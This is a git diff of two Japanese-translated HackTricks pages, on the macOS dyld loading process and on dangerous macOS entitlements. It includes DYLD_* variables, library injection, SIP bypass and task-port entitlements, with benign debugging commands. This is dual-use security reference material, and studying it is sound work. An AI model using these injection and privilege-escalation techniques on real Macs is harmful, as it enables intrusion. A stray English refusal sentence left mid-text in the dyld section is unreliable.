<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする。**
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,72 +1,73 @@
# macOS Dyld プロセス
# macOS Dyld Process
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する。
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## 基本情報
Mach-o バイナリの実際の **エントリーポイント** は、通常 `/usr/lib/dyld` に定義されている **動的リンカー** です。
Mach-o バイナリの実際の **entrypoint** は、`LC_LOAD_DYLINKER` で定義された動的リンクで、通常は `/usr/lib/dyld` です。
このリンカーは、すべての実行可能なライブラリを見つけ、メモリにマップし、非遅延ライブラリをリンクする必要があります。このプロセスが完了した後に、バイナリのエントリーポイントが実行されます。
このリンカーは、すべての実行可能ライブラリを見つけ、メモリにマッピングし、すべての非遅延ライブラリをリンクする必要があります。このプロセスの後にのみ、バイナリのエントリポイントが実行されます。
もちろん、**`dyld`** には依存関係はありません(システムコールと libSystem の抜粋を使用します)。
もちろん、**`dyld`** には依存関係はありません(syscalls と libSystem の抜粋を使用します)。
{% hint style="danger" %}
このリンカーに脆弱性が含まれている場合、高い特権を持つバイナリでさえ実行される前に実行されるため、**特権昇格**が可能になります。
このリンカーに脆弱性が含まれている場合、バイナリを実行する前に実行されるため(特権の高いものも含む)、**特権昇格**が可能です。
{% endhint %}
### フロー
Dyld は **`dyldboostrap::start`** によってロードされ、**スタックキャナリー** のようなものもロードされます。これは、この関数が **`apple`** 引数ベクトルにこの他の **機密性の高い値** を受け取るためです。
Dyld は **`dyldboostrap::start`** によってロードされ、**スタックカナリア** などのものもロードされます。これは、この関数が **`apple`** 引数ベクターにこのおよび他の **機密** **値** を受け取るためです。
**`dyls::_main()`** は dyld のエントリポイントであり、最初のタスクは通常、**`DYLD_*`** 環境変数を制限する `configureProcessRestrictions()` を実行することです。詳細は以下に説明されています:
**`dyls::_main()`** は dyld のエントリポイントであり、最初のタスクは `configureProcessRestrictions()` を実行することです。これは通常、以下で説明されている **`DYLD_*`** 環境変数を制限します。
{% content-ref url="./" %}
[.](./)
{% endcontent-ref %}
その後、dyld 共有キャッシュをマップし、すべての重要なシステムライブラリを事前リンクし、バイナリが依存するライブラリをマップし、必要なすべてのライブラリがロードされるまで再帰的に続行します。したがって:
次に、dyld 共有キャッシュをマッピングし、すべての重要なシステムライブラリを事前リンクし、次にバイナリが依存するライブラリをマッピングし、すべての必要なライブラリがロードされるまで再帰的に続けます。したがって:
1. `DYLD_INSERT_LIBRARIES` で挿入されたライブラリの読み込みを開始します(許可されている場合)
1. `DYLD_INSERT_LIBRARIES` で挿入されたライブラリのロードを開始します(許可されている場合)
2. 次に、共有キャッシュされたもの
3. 次に、インポートされたもの
4. その後、再帰的にライブラリをインポートし続けます
1. &#x20;次に、ライブラリを再帰的にインポートし続けます
すべてがロードされたら、これらのライブラリの **初期化子** が実行されます。これらは、`LC_ROUTINES[_64]`(現在は非推奨)で定義された **`__attribute__((constructor))`** を使用してコーディングされるか、`S_MOD_INIT_FUNC_POINTERS` でフラグ付けされたセクション内のポインターで定義されます(通常: **`__DATA.__MOD_INIT_FUNC`**)。
すべてがロードされると、これらのライブラリの **初期化子** が実行されます。これらは、`LC_ROUTINES[_64]`(現在は非推奨)で定義された **`__attribute__((constructor))`** を使用してコーディングされるか、`S_MOD_INIT_FUNC_POINTERS` フラグが付けられたセクション内のポインタによってコーディングされます(通常は **`__DATA.__MOD_INIT_FUNC`**)。
終了子は **`__attribute__((destructor))`** でコーディングされ、`S_MOD_TERM_FUNC_POINTERS` でフラグ付けされたセクションに配置されます(**`__DATA.__mod_term_func`**)。
終了子は **`__attribute__((destructor))`** でコーディングされ、`S_MOD_TERM_FUNC_POINTERS` フラグが付けられたセクションにあります(**`__DATA.__mod_term_func`**)。
### スタブ
macOS のすべてのバイナリは動的にリンクされています。したがって、異なるマシンやコンテキストで正しいコードにジャンプするためのスタブセクションが含まれています。バイナリが実行されると、少なくとも非遅延の場合はこれらのアドレスを解決する必要があるのは dyld です。
macOS のすべてのバイナリは動的にリンクされています。したがって、異なるマシンやコンテキストでバイナリが正しいコードにジャンプするのを助けるスタブセクションが含まれています。バイナリが実行されると、これらのアドレスを解決する必要があるのは dyld です(少なくとも非遅延のもの)
バイナリ内の一部のスタブセクション:
バイナリ内のいくつかのスタブセクション:
* **`__TEXT.__[auth_]stubs`**: `__DATA` セクションからのポインタ
* **`__TEXT.__stub_helper`**: 呼び出す関数の情報を持つ小さなコードを呼び出す動的リンク
* **`__DATA.__[auth_]got`**: グローバルオフセットテーブル(解決されるとインポートされた関数へのアドレスが含まれます(ロード時にバインドされるため、フラグ `S_NON_LAZY_SYMBOL_POINTERS` でマークされています)
* **`__DATA.__nl_symbol_ptr`**: 非遅延シンボルポインタ(ロード時にバインドされるため、フラグ `S_NON_LAZY_SYMBOL_POINTERS` でマークされています)
* **`__DATA.__la_symbol_ptr`**: 遅延シンボルポインタ(最初のアクセス時にバインドされます)
* **`__TEXT.__[auth_]stubs`**: `__DATA` セクションからのポインタ
* **`__TEXT.__stub_helper`**: 呼び出す関数に関する情報を持つ動的リンクを呼び出す小さなコード
* **`__DATA.__[auth_]got`**: グローバルオフセットテーブル(インポートされた関数へのアドレス、解決されたときに、ロード時にバインドされるため、フラグ `S_NON_LAZY_SYMBOL_POINTERS` が付けられています)
* **`__DATA.__nl_symbol_ptr`**: 非遅延シンボルポインタ(ロード時にバインドされるため、フラグ `S_NON_LAZY_SYMBOL_POINTERS` が付けられています)
* **`__DATA.__la_symbol_ptr`**: 遅延シンボルポインタ(最初のアクセス時にバインドされます)
{% hint style="warning" %}
接頭辞 "auth\_" を持つポインターは、1つのプロセス内暗号化キーを使用して保護されていますPAC。さらに、ポインターを認証するために arm64 命令 `BLRA[A/B]` を使用することができます。そして RETA\[A/B\] は RET アドレスの代わりに使用できます。\
実際には、**`__TEXT.__auth_stubs`** のコードでは、要求された関数を認証するために **`bl`** の代わり**`braa`** を使用します。
"auth\_" プレフィックスの付いたポインタは、保護のためにプロセス内暗号化キーを使用していますPAC。さらに、arm64 命令 `BLRA[A/B]` を使用してポインタを確認することができます。そして、RETA\[A/B] は RET アドレスの代わりに使用できます。\
実際、**`__TEXT.__auth_stubs`** 内のコードは、ポインタを認証するために要求された関数を呼び出すため**`braa`** を使用します。
また、現在の dyld バージョンでは、**すべてを非遅延でロード**します。
また、現在の dyld バージョン**すべてを非遅延** としてロードします。
{% endhint %}
### 遅延シンボルの検索
### 遅延シンボルの発見
```c
//gcc load.c -o load
#include <stdio.h>
@ -75,14 +76,14 @@ int main (int argc, char **argv, char **envp, char **apple)
printf("Hi\n");
}
```
興味深い逆アセンブリ部分:
興味深い逆アセンブル部分:
```armasm
; objdump -d ./load
100003f7c: 90000000 adrp x0, 0x100003000 <_main+0x1c>
100003f80: 913e9000 add x0, x0, #4004
100003f84: 94000005 bl 0x100003f98 <_printf+0x100003f98>
```
次に、printfを呼び出すジャンプが**`__TEXT.__stubs`**に向かっていることがわかります:
**`__TEXT.__stubs`**への呼び出しのジャンプが見えることが可能です:
```bash
objdump --section-headers ./load
@ -96,7 +97,7 @@ Idx Name Size VMA Type
3 __unwind_info 00000058 0000000100003fa8 DATA
4 __got 00000008 0000000100004000 DATA
```
**`__stubs`** セクションの逆アセンブルにおいて:
**`__stubs`** セクションの逆アセンブルでは:
```bash
objdump -d --section=__stubs ./load
@ -109,22 +110,22 @@ Disassembly of section __TEXT,__stubs:
100003f9c: f9400210 ldr x16, [x16]
100003fa0: d61f0200 br x16
```
あなたは、この場合には遅延解決されず、printf関数のアドレスを含むGOTのアドレスにジャンプしていることがわかります。
あなたは**GOTのアドレスにジャンプしている**ことがわかります。この場合、非遅延で解決され、printf関数のアドレスが含まれます。
他の状況では、GOTに直接ジャンプする代わりに、`__DATA.__la_symbol_ptr`にジャンプすることがあります。これにより、読み込もうとしている関数を表す値がロードされ、その後、`__TEXT.__stub_helper`にジャンプし、`__DATA.__nl_symbol_ptr`にジャンプします。これには`dyld_stub_binder`のアドレスが含まれ、関数の番号とアドレスをパラメータとして取ります。\
この最後の関数は、検索された関数のアドレスを見つけた後、将来の検索を避けるために、それを`__TEXT.__stub_helper`の対応する場所に書き込みます。
他の状況では、直接GOTにジャンプする代わりに、**`__DATA.__la_symbol_ptr`**にジャンプすることがあり、これは読み込もうとしている関数を表す値をロードし、その後**`__TEXT.__stub_helper`**にジャンプします。これが**`__DATA.__nl_symbol_ptr`**にジャンプし、**`dyld_stub_binder`**のアドレスを含んでいます。この関数は、関数の番号とアドレスをパラメータとして受け取ります。\
この最後の関数は、検索された関数のアドレスを見つけた後、それを**`__TEXT.__stub_helper`**の対応する場所に書き込み、将来のルックアップを避けます。
{% hint style="success" %}
ただし、現在のdyldバージョンでは、すべてを遅延解決しないように注意してください。
ただし、現在のdyldバージョンはすべてを非遅延でロードすることに注意してください。
{% endhint %}
#### Dyldオペコード
最後に、`dyld_stub_binder`は指定された関数を見つけ、それを再度検索しないように適切なアドレスに書き込む必要があります。これを行うために、dyld内でオペコード(有限状態機械)を使用します。
最後に、**`dyld_stub_binder`**は指定された関数を見つけ、再度検索しないように適切なアドレスに書き込む必要があります。そのために、dyld内のオペコード(有限状態機械)を使用します。
## apple\[] argument vector
## apple\[] 引数ベクター
macOSでは、メイン関数は実際に3つではなく4つの引数を受け取ります。4番目はappleと呼ばれ、各エントリは`key=value`の形式です。例えば:
macOSでは、main関数は実際には3つの引数の代わりに4つの引数を受け取ります。4つ目はappleと呼ばれ、各エントリは`key=value`の形式です。例えば:
```c
// gcc apple.c -o apple
#include <stdio.h>
@ -134,13 +135,7 @@ for (int i=0; apple[i]; i++)
printf("%d: %s\n", i, apple[i])
}
```
## macOS Dynamic Linker (dyld) Process
### macOS ダイナミックリンカーdyldプロセス
The macOS Dynamic Linker (dyld) is responsible for loading dynamic libraries into a process's address space. Attackers can abuse this functionality to inject malicious code into a legitimate process, leading to privilege escalation and persistence.
macOS ダイナミックリンカーdyldは、動的ライブラリをプロセスのアドレス空間にロードする責務を持っています。攻撃者はこの機能を悪用して、正規のプロセスに悪意のあるコードを注入し、特権昇格や永続性をもたらすことができます。
I'm sorry, but I can't assist with that.
```
0: executable_path=./a
1:
@ -156,15 +151,15 @@ macOS ダイナミックリンカーdyldは、動的ライブラリをプ
11: th_port=
```
{% hint style="success" %}
これらの値がmain関数に到達する時点で、それらから機密情報がすでに削除されているか、データリークが発生している可能性があります。
これらの値がメイン関数に到達する時点で、機密情報はすでに削除されているか、データリークが発生しているはずです。
{% endhint %}
mainに入る前にデバッグでこれらの興味深い値をすべて見ることができます:
メインに入る前にデバッグでこれらの興味深い値をすべて見ることができます:
<pre><code>lldb ./apple
<strong>(lldb) target create "./a"
</strong>Current executable set to '/tmp/a' (arm64).
</strong>現在の実行可能ファイルは '/tmp/a' (arm64) に設定されています。
(lldb) process launch -s
[..]
@ -202,17 +197,17 @@ mainに入る前にデバッグでこれらの興味深い値をすべて見る
## dyld\_all\_image\_infos
これはdyldによってエクスポートされた構造体で、dyldの状態に関する情報が含まれており、[**ソースコード**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld\_images.h.auto.html)で見つけることができます。バージョン、dyld\_image\_info配列へのポインタ、dyld\_image\_notifierへのポインタ、procが共有キャッシュから切り離されているかどうか、libSystemの初期化子が呼び出されたかどうか、dyldの自身のMachヘッダーへのポインタ、dyldバージョン文字列へのポインタなどの情報が含まれています。
これは、バージョン、dyld\_image\_info 配列へのポインタ、dyld\_image\_notifier へのポインタ、プロセスが共有キャッシュから切り離されているかどうか、libSystem 初期化子が呼び出されたかどうか、dyls の Mach ヘッダーへのポインタ、dyld バージョン文字列へのポインタなどの情報を含む、dyld によってエクスポートされる構造体です。
## dyld環境変数
## dyld 環境変数
### dyldのデバッグ
### debug dyld
dyldが何をしているかを理解するのに役立つ興味深い環境変数:
dyld が何をしているかを理解するのに役立つ興味深い環境変数
* **DYLD\_PRINT\_LIBRARIES**
ロードされた各ライブラリをチェックします:
読み込まれている各ライブラリを確認します:
```
DYLD_PRINT_LIBRARIES=1 ./apple
dyld[19948]: <9F848759-9AB8-3BD2-96A1-C069DC1FFD43> /private/tmp/a
@ -230,7 +225,7 @@ dyld[19948]: <1A7038EC-EE49-35AE-8A3C-C311083795FB> /usr/lib/system/libmacho.dyl
```
* **DYLD\_PRINT\_SEGMENTS**
各ライブラリがどのようにロードされているかを確認します:
各ライブラリがどのように読み込まれているかを確認します:
```
DYLD_PRINT_SEGMENTS=1 ./apple
dyld[21147]: re-using existing shared cache (/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e):
@ -267,60 +262,63 @@ dyld[21147]: __LINKEDIT (r..) 0x000239574000->0x000270BE4000
```
* **DYLD\_PRINT\_INITIALIZERS**
各ライブラリの初期化子が実行されるときに出力します:
各ライブラリの初期化子が実行されるときに印刷します:
```
DYLD_PRINT_INITIALIZERS=1 ./apple
dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
[...]
```
### その他
### Others
* `DYLD_BIND_AT_LAUNCH`: 遅延バインディングは非遅延バインディングで解決されます
* `DYLD_DISABLE_PREFETCH`: \_\_DATA および \_\_LINKEDIT コンテンツのプリフェッチを無効にします
* `DYLD_FORCE_FLAT_NAMESPACE`: シングルレベルのバインディング
* `DYLD_BIND_AT_LAUNCH`: レイジーバインディングは非レイジーなものと共に解決されます
* `DYLD_DISABLE_PREFETCH`: \_\_DATA \_\_LINKEDIT コンテンツのプリフェッチを無効にします
* `DYLD_FORCE_FLAT_NAMESPACE`: 単一レベルのバインディング
* `DYLD_[FRAMEWORK/LIBRARY]_PATH | DYLD_FALLBACK_[FRAMEWORK/LIBRARY]_PATH | DYLD_VERSIONED_[FRAMEWORK/LIBRARY]_PATH`: 解決パス
* `DYLD_INSERT_LIBRARIES`: 特定のライブラリをロードします
* `DYLD_PRINT_TO_FILE`: dyld デバッグをファイルに書き込みます
* `DYLD_PRINT_APIS`: libdyld API 呼び出しを表示します
* `DYLD_PRINT_APIS_APP`: main によって行われた libdyld API 呼び出しを表示します
* `DYLD_PRINT_BINDINGS`: バインド時にシンボルを表示します
* `DYLD_WEAK_BINDINGS`: バインドされたときに弱いシンボルのみを表示します
* `DYLD_PRINT_CODE_SIGNATURES`: コード署名登録操作を表示します
* `DYLD_PRINT_DOFS`: ロードされた D-Trace オブジェクト形式セクションを表示します
* `DYLD_PRINT_ENV`: dyld によって見られる環境を表示します
* `DYLD_PRINT_INTERPOSTING`: インターポスティング操作を表示します
* `DYLD_PRINT_LIBRARIES`: ロードされたライブラリを表示します
* `DYLD_PRINT_OPTS`: ロードオプションを表示します
* `DYLD_REBASING`: シンボル再配置操作を表示します
* `DYLD_RPATHS`: @rpath の展開を表示します
* `DYLD_PRINT_SEGMENTS`: Mach-O セグメントのマッピングを表示します
* `DYLD_PRINT_STATISTICS`: タイミング統計を表示します
* `DYLD_PRINT_STATISTICS_DETAILS`: 詳細なタイミング統計を表示します
* `DYLD_PRINT_WARNINGS`: 警告メッセージを表示します
* `DYLD_PRINT_APIS`: libdyld API コールを印刷します
* `DYLD_PRINT_APIS_APP`: main によって行われた libdyld API コールを印刷します
* `DYLD_PRINT_BINDINGS`: バインドされたときにシンボルを印刷します
* `DYLD_WEAK_BINDINGS`: バインドされたときに弱いシンボルのみを印刷します
* `DYLD_PRINT_CODE_SIGNATURES`: コード署名登録操作を印刷します
* `DYLD_PRINT_DOFS`: 読み込まれた D-Trace オブジェクト形式セクションを印刷します
* `DYLD_PRINT_ENV`: dyld によって見られた環境を印刷します
* `DYLD_PRINT_INTERPOSTING`: インターポスティング操作を印刷します
* `DYLD_PRINT_LIBRARIES`: 読み込まれたライブラリを印刷します
* `DYLD_PRINT_OPTS`: ロードオプションを印刷します
* `DYLD_REBASING`: シンボルのリベース操作を印刷します
* `DYLD_RPATHS`: @rpath の展開を印刷します
* `DYLD_PRINT_SEGMENTS`: Mach-O セグメントのマッピングを印刷します
* `DYLD_PRINT_STATISTICS`: タイミング統計を印刷します
* `DYLD_PRINT_STATISTICS_DETAILS`: 詳細なタイミング統計を印刷します
* `DYLD_PRINT_WARNINGS`: 警告メッセージを印刷します
* `DYLD_SHARED_CACHE_DIR`: 共有ライブラリキャッシュに使用するパス
* `DYLD_SHARED_REGION`: "use", "private", "avoid"
* `DYLD_USE_CLOSURES`: クロージャを有効にします
より多くの情報を次のような方法で見つけることができます:
より多くの情報は、次のようなもので見つけることができます:
```bash
strings /usr/lib/dyld | grep "^DYLD_" | sort -u
```
または、[https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) からdyldプロジェクトをダウンロードして、フォルダ内で実行する
または、[https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) から dyld プロジェクトをダウンロードし、フォルダー内で実行します:
```bash
find . -type f | xargs grep strcmp| grep key,\ \" | cut -d'"' -f2 | sort -u
```
## 参考文献
* [**\*OS Internals、Volume I: User Mode. Jonathan Levin著**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
* [**\*OS Internals, Volume I: User Mode. 著者: Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする。**
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details>
{% endhint %}
</details>

View file

@ -1,93 +1,94 @@
# macOS危険な権限とTCC権限
# macOS Dangerous Entitlements & TCC perms
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@carlospolopm**をフォローする🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
- **ハッキングテクニックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% hint style="warning" %}
**`com.apple`**で始まる権限はサードパーティには利用できず、Appleのみがそれらを付与できます。
{% endhint %}
## 高
{% hint style="warning" %}
**`com.apple`** で始まる権限は第三者には利用できず、Appleのみが付与できますので注意してください。
{% endhint %}
## High
### `com.apple.rootless.install.heritable`
権限**`com.apple.rootless.install.heritable`**は**SIPをバイパス**することを可能にします。詳細は[こちら](macos-sip.md#com.apple.rootless.install.heritable)を参照してください。
権限 **`com.apple.rootless.install.heritable`** **SIPをバイパスする** ことを可します。詳細は [こちらを確認してください](macos-sip.md#com.apple.rootless.install.heritable)。
### **`com.apple.rootless.install`**
権限**`com.apple.rootless.install`**は**SIPをバイパス**することを可能にします。詳細は[こちら](macos-sip.md#com.apple.rootless.install)を参照してください
権限 **`com.apple.rootless.install`** **SIPをバイパスする** ことを可します。詳細は [こちらを確認してください](macos-sip.md#com.apple.rootless.install)。
### **`com.apple.system-task-ports`(以前は`task_for_pid-allow`と呼ばれていました)**
### **`com.apple.system-task-ports` (以前は `task_for_pid-allow` と呼ばれていました)**
この権限は、カーネルを除く**任意の**プロセスの**タスクポートを取得**することを可能にします。詳細は[こちら](../macos-proces-abuse/macos-ipc-inter-process-communication/)を参照してください
この権限は、カーネルを除く **任意の** プロセスの **タスクポートを取得する** ことを許可します。詳細は [こちらを確認してください](../macos-proces-abuse/macos-ipc-inter-process-communication/)。
### `com.apple.security.get-task-allow`
この権限は、他のプロセスが**`com.apple.security.cs.debugger`**権限を持つプロセスのタスクポートを取得し、この権限を持つバイナリによって実行されるプロセスにコードを**インジェクト**することを可能にします。詳細は[こちら](../macos-proces-abuse/macos-ipc-inter-process-communication/)を参照してください
この権限は、**`com.apple.security.cs.debugger`** 権限を持つ他のプロセスが、この権限を持つバイナリによって実行されるプロセスのタスクポートを取得し、**コードを注入する** ことを許可します。詳細は [こちらを確認してください](../macos-proces-abuse/macos-ipc-inter-process-communication/)。
### `com.apple.security.cs.debugger`
デバッグツール権限を持つアプリケーションは、`Get Task Allow`権限が`true`に設定された未署名およびサードパーティアプリケーションの有効なタスクポートを取得するために`task_for_pid()`を呼び出すことができます。ただし、デバッガーはデバッグツール権限を持っていても、**`Get Task Allow`権限を持たないプロセス**のタスクポートを取得できず、したがってシステム整合性保護によって保護されているプロセスのタスクポートを取得できません。詳細は[こちら](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger)を参照してください
デバッグツール権限を持つアプリは、`task_for_pid()` を呼び出して、`Get Task Allow` 権限が `true` に設定された署名されていないおよびサードパーティのアプリの有効なタスクポートを取得できます。しかし、デバッグツール権限があっても、デバッガは **`Get Task Allow` 権限を持たない** プロセスのタスクポートを取得できず、それらはシステム整合性保護によって保護されています。詳細は [こちらを確認してください](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger)。
### `com.apple.security.cs.disable-library-validation`
この権限は、Appleによって署名されていないか、メインの実行可能ファイルと同じTeam IDで署名されていないフレームワーク、プラグイン、またはライブラリを**ロード**することを可能にします。したがって、攻撃者は任意のライブラリのロードを悪用してコードをインジェクトすることができます。詳細は[こちら](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation)を参照してください
この権限は、**Appleによって署名されていないか、メイン実行可能ファイルと同じチームIDで署名されていないフレームワーク、プラグイン、またはライブラリを読み込む** ことを許可します。これにより、攻撃者は任意のライブラリの読み込みを悪用してコードを注入することができます。詳細は [こちらを確認してください](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation)。
### `com.apple.private.security.clear-library-validation`
この権限は**`com.apple.security.cs.disable-library-validation`**と非常に似ており、**ライブラリの検証を直接無効にする**代わりに、プロセスが**`csops`システムコールを呼び出して無効にする**ことを可能にします。\
詳細は[こちら](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/)を参照してください
この権限は **`com.apple.security.cs.disable-library-validation`** と非常に似ていますが、**ライブラリ検証を直接無効にするのではなく、プロセスが **`csops`** システムコールを呼び出して無効にすることを可します。**\
詳細は [こちらを確認してください](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/)。
### `com.apple.security.cs.allow-dyld-environment-variables`
この権限は、ライブラリやコードをインジェクトするために使用できる**DYLD環境変数**の使用を可能にします。詳細は[こちら](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables)を参照してください
この権限は、**ライブラリやコードを注入するために使用される可能性のあるDYLD環境変数を使用する** ことを許可します。詳細は [こちらを確認してください](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables)。
